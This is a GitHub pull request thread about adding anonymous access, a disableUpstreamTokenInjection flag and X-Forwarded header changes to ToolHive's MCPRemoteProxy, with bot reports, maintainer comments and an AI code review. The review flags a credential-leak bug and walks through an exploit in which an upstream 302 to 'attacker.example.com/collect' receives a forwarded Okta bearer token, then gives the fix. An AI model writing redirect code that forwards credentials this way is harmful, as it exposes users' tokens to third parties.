Allow MCPRemoteProxy to work without upstream or client auth

[aron-muon]

Summary

MCPRemoteProxy required OIDC authentication and always injected upstream tokens when the
embedded auth server was configured. This made two common deployment patterns impossible
and the transparent proxy leaked X-Forwarded headers to remote upstreams.

Why: Operators sometimes need to proxy third-party public MCP servers (e.g., documentation APIs)
with client authentication (Okta, GitHub) but without injecting tokens upstream — the upstream
is public and does not expect auth headers. Additionally, X-Forwarded-Host headers leaked to
remote upstreams could cause redirect loops when the upstream used them to construct redirect URLs.

What changed (3 logical changes across 5 commits):

1. Add disableUpstreamTokenInjection — when true, the embedded auth server still
   handles OAuth flows for clients but does not inject upstream IdP tokens into outgoing
   requests. A strip-auth middleware removes the client ToolHive JWT from the
   Authorization header to prevent it leaking to the upstream.

2. Make oidcConfig optional — when omitted, the proxy allows anonymous access with no
   authentication on either side. Added nil-check at the top of resolveAndAddOIDCConfig
   (which now also supports the new MCPOIDCConfigRef path added by upstream).

3. Skip SetXForwarded() for remote upstreams — prevents X-Forwarded-Host from
   leaking the proxy hostname to third-party servers, which can cause 307 redirect loops.
   Also adds debug logging for outbound requests and upstream responses.

Upstream convergence notes (changes that landed in main during this branch lifetime):

• Redirect following: Main merged a followRedirects implementation with cross-host
  and HTTPS-downgrade guards. This PR original forwardFollowingRedirects was dropped
  in favor of upstream more secure version.
• OIDCConfig pointer type: Main independently made OIDCConfig a *OIDCConfigRef
  pointer and added the new OIDCConfigRef *MCPOIDCConfigReference field for shared OIDC
  config. This PR optional-auth changes integrate with that — the nil check in
  resolveAndAddOIDCConfig handles both OIDCConfig and OIDCConfigRef being nil.
• Port to ProxyPort rename: Main renamed the field; tests updated accordingly.
• buildOIDCClientSecretEnvVars extraction: Main extracted inline OIDC secret handling
  into a helper method, matching this PR pattern. Kept upstream version.
• buildExternalAuthEnvVars extraction: This PR refactoring of inline token exchange
  code into a helper was kept since upstream still had it inline.

Type of change

• New feature
• Bug fix

Test plan

• Unit tests (go test ./cmd/thv-operator/controllers/... ./pkg/runner/... ./pkg/transport/proxy/transparent/... ./cmd/thv-operator/pkg/controllerutil/...)
• Build verification (go build ./...)

Changes

File	Change
api/v1alpha1/mcpexternalauthconfig_types.go	Add DisableUpstreamTokenInjection to EmbeddedAuthServerConfig CRD
pkg/authserver/config.go	Add DisableUpstreamTokenInjection to runtime RunConfig
controllerutil/authserver.go	Wire CRD field through to RunConfig
controllerutil/authserver_test.go	Tests for wiring and default value
pkg/runner/middleware.go	Add strip-auth middleware; skip upstream swap when injection disabled
pkg/runner/middleware_test.go	Tests for strip-auth and upstream swap middleware selection
controllers/mcpremoteproxy_runconfig.go	Add nil-check for anonymous access in resolveAndAddOIDCConfig
controllers/mcpremoteproxy_deployment.go	Extract buildExternalAuthEnvVars helper
controllers/mcpremoteproxy_controller_test.go	Add anonymous access validation test
controllers/mcpremoteproxy_reconciler_test.go	Add anonymous proxy full reconciliation test
proxy/transparent/transparent_proxy.go	Skip SetXForwarded() for remote upstreams; add debug logging
CRD YAMLs, crd-api.md	Generated CRD updates for DisableUpstreamTokenInjection

Does this introduce a user-facing change?

Yes. Two new capabilities for MCPRemoteProxy:

1. Anonymous proxy: Omit oidcConfig (and oidcConfigRef) to allow unauthenticated access to a proxied MCP server.
2. Embedded auth without upstream injection: Set disableUpstreamTokenInjection: true on an embeddedAuthServer MCPExternalAuthConfig to authenticate clients without injecting tokens upstream.

Generated with Claude Code

[github-actions]

Large PR Detected

This PR exceeds 1000 lines of changes and requires justification before it can be reviewed.

How to unblock this PR:

Add a section to your PR description with the following format:

## Large PR Justification

[Explain why this PR must be large, such as:]
- Generated code that cannot be split
- Large refactoring that must be atomic
- Multiple related changes that would break if separated
- Migration or data transformation

Alternative:

Consider splitting this PR into smaller, focused changes (< 1000 lines each) for easier review and reduced risk.

See our Contributing Guidelines for more details.

---

This review will be automatically dismissed once you add the justification section.

[codecov]

Codecov Report

❌ Patch coverage is 67.24138% with 19 lines in your changes missing coverage. Please review.
✅ Project coverage is 69.02%. Comparing base (943bafb) to head (18ebe47).
⚠️ Report is 1 commits behind head on main.

Files with missing lines	Patch %	Lines
pkg/runner/middleware.go	31.57%	12 Missing and 1 partial ⚠️
...-operator/controllers/mcpremoteproxy_deployment.go	71.42%	2 Missing and 4 partials ⚠️

Additional details and impacted files

@@            Coverage Diff             @@
##             main    #4168      +/-   ##
==========================================
+ Coverage   68.96%   69.02%   +0.06%     
==========================================
  Files         517      517              
  Lines       54829    54861      +32     
==========================================
+ Hits        37815    37870      +55     
+ Misses      14098    14074      -24     
- Partials     2916     2917       +1     

☔ View full report in Codecov by Sentry.
📢 Have feedback on the report? Share it here.

🚀 New features to boost your workflow:

• ❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.

Large PR justification has been provided. Thank you!

[github-actions]

✅ Large PR justification has been provided. The size review has been dismissed and this PR can now proceed with normal review.

[ChrisJBurns]

@aron-muon hey bud, just got back from leave, for reference this RFC has been raised that aims to provide a new CRD that will eventually lead to the deprecation and removal of MCPRemoteProxy

[aron-muon]

@aron-muon hey bud, just got back from leave, for reference this RFC has been raised that aims to provide a new CRD that will eventually lead to the deprecation and removal of MCPRemoteProxy

Very exciting!

[lujunsan]

@claude review the changes and check if this overlaps with the MCPOIDCConfig CRD changes that have been added recently.

[claude]

Claude Code is working…

I'll analyze this and get back to you.

View job run

[claude]

Regarding the MCPOIDCConfig overlap question: I don't find a MCPOIDCConfig CRD type in the current main branch, so I can't verify overlap — this likely refers to a pending or in-progress change that should be compared manually. A security issue was also identified in the new redirect-following logic (see inline comment) that should be addressed before merge.

Extended reasoning...

Overview

This PR adds three features to MCPRemoteProxy: optional OIDC (anonymous access), a DisableUpstreamTokenInjection flag with strip-auth middleware, and a new forwardFollowingRedirects function in the transparent proxy. It touches 27 files including CRD types, controller logic, middleware, and the core transparent proxy transport.

Security risks

The bug hunting system identified a real security regression in forwardFollowingRedirects: the Authorization header (containing the client JWT or upstream IdP access token) is cloned unconditionally into redirect requests, including cross-host redirects. Go's standard http.Client has protected against this since Go 1.12 by stripping Authorization/Cookie headers on cross-host redirects — this implementation omits that check. This is a credential exfiltration risk when the upstream issues 3xx redirects to attacker-controlled or unintended external hosts.

Level of scrutiny

High. The PR modifies security-sensitive proxy transport code, introduces new auth middleware, and changes a required CRD field to optional (breaking schema change). The transparent proxy redirect logic in particular is new and complex with insufficient test coverage (41% patch coverage reported by Codecov).

Other factors

A human reviewer (ChrisJBurns) noted in March that an RFC is being drafted to deprecate/replace MCPRemoteProxy. A reviewer (lujunsan) also specifically requested a check against MCPOIDCConfig CRD changes; no MCPOIDCConfig type exists in main, so that overlap cannot be verified automatically. The combination of an unresolved design direction, a security bug in new proxy code, and the explicit overlap question warrants human review before merge.

[claude]

🔴 The Authorization header (containing either the client JWT or the upstream IdP access token) is unconditionally forwarded to cross-host redirect targets in forwardFollowingRedirects. A compromised or misbehaving upstream server that returns a 3xx redirect to a different host will receive the bearer token. Go's own http.Client has protected against this since Go 1.12 via shouldCopyHeaderOnRedirect(), which strips Authorization, Cookie, and Cookie2 on cross-host redirects; this implementation omits that check. The strip-auth middleware added in this PR only covers the DisableUpstreamTokenInjection=true case — the default configuration (embedded auth server with upstream-swap) remains vulnerable.

Extended reasoning...

What the bug is and how it manifests

forwardFollowingRedirects (transparent_proxy.go, lines 434–438) builds a new request for each 3xx redirect and does newReq.Header = req.Header.Clone() unconditionally — no matter whether the redirect URL is on the same host or a completely different one. The Authorization header therefore travels to every redirect destination, including cross-host ones.

The specific code path that triggers it

The middleware chain runs before httputil.ReverseProxy calls tracingTransport.RoundTrip:

1. If DisableUpstreamTokenInjection=false and an embedded auth server is configured, the upstream-swap middleware replaces the client JWT with an upstream IdP access token in Authorization.
2. RoundTrip reads this augmented request and calls forwardFollowingRedirects.
3. If the upstream returns a 3xx redirect to a different host, forwardFollowingRedirects clones all headers — including the Authorization header containing the IdP token — into the redirect request and forwards it.

Why existing code doesn't prevent it

The strip-auth middleware added by this PR removes Authorization before RoundTrip is called, but only when DisableUpstreamTokenInjection=true. In that specific case the header is already gone by the time forwardFollowingRedirects runs, so no leakage occurs. In the two other configurations — (1) OIDC only (no embedded auth server) where the client JWT stays in Authorization, and (2) embedded auth server with upstream-swap active — the Authorization header is present and is forwarded verbatim to cross-host redirect targets.

Go's own http.Client has protected against this since Go 1.12 via shouldCopyHeaderOnRedirect(), which explicitly strips Authorization, Cookie, and Cookie2 when req.URL.Host != via[0].Host. The forwardFollowingRedirects implementation replicates http.Client redirect-following but omits that host-change check.

Impact

Any trusted upstream that issues a cross-host redirect (e.g., an API gateway, CDN, or a compromised server) will receive the bearer token. In production the token at risk is the upstream IdP access token (e.g., an Okta or GitHub token), not just the short-lived ToolHive JWT. This is a regression introduced by this PR; previously the proxy did not follow redirects at all, so the issue did not exist.

Step-by-step proof

1. Client authenticates via embedded auth server (Okta upstream configured, DisableUpstreamTokenInjection=false).
2. Upstream-swap middleware replaces the ToolHive JWT with an Okta access token: Authorization: Bearer <okta-token>.
3. RoundTrip calls forwardFollowingRedirects(req, body) with the Okta token in headers.
4. Upstream MCP server at mcp.example.com returns 302 Location: https://attacker.example.com/collect.
5. forwardFollowingRedirects computes redirectURL = attacker.example.com/collect (different host).
6. newReq.Header = req.Header.Clone() copies Authorization: Bearer <okta-token> into the redirect request.
7. The proxy sends GET https://attacker.example.com/collect with the Okta token — credential exfiltrated.

How to fix it

Before cloning headers, compare redirectURL.Host against req.URL.Host. If they differ, delete Authorization (and Cookie/Cookie2) from the cloned header map — mirroring Go's shouldCopyHeaderOnRedirect behaviour:

newReq.Header = req.Header.Clone()
if redirectURL.Host != req.URL.Host {
    newReq.Header.Del("Authorization")
    newReq.Header.Del("Cookie")
    newReq.Header.Del("Cookie2")
}

[aron-muon]

@claude review the changes and check if this overlaps with the MCPOIDCConfig CRD changes that have been added recently.

Cleanly rebased now! @lujunsan

[ChrisJBurns]

Hey @aron-muon, thanks for keeping this rebased! I did a deep dive into the current state of main to see which parts of this PR are still needed.

Goal 2 (optional oidcConfig / anonymous proxy) is already resolved on main. Both OIDCConfig (which is being removed soon in favour of the dedicated CRD) and OIDCConfigRef are optional pointers, and resolveAndAddOIDCConfig() gracefully returns (nil, nil) when both are absent. The OIDC resolver, AddOIDCConfigOptions, and controller validation all handle the nil case without error. So that piece can be dropped.

Goals 1 and 3 are still unresolved:

• DisableUpstreamTokenInjection — no equivalent exists. There's currently no way to run the embedded auth server for client-facing OAuth without also injecting tokens upstream.
• SetXForwarded() skipping for remote upstreams — still called unconditionally in transparent_proxy.go. The codebase has workarounds for specific symptoms (AWS SigV4, SSE URL rewriting), but the root cause remains.

It's also worth noting that for users who don't need the proxy pod at all — they just want vMCP to call a remote server with optional auth — MCPServerEntry + VirtualMCPServer already avoids all of these issues since there's no intermediate proxy setting X-Forwarded headers or injecting tokens. Goals 1 and 3 are specifically relevant when you need the proxy pod (e.g., for client-facing embedded auth server OAuth flows).

Would you be open to splitting this into a focused PR covering just goals 1 and 3? That would make it smaller and easier to review. Happy to help coordinate.